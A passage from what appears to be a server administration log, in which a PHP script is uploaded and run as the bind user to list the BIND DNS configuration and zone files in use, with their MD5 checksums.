MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-24 10:29:15: Establishing a connection
2026-05-24 10:29:15: 

PUT: /tmp/pkp750105

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-24 10:29:16: 

runuser -l bind -s /bin/bash -c '/tmp/pkp750105; rm /tmp/pkp750105'

2026-05-24 10:29:16: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
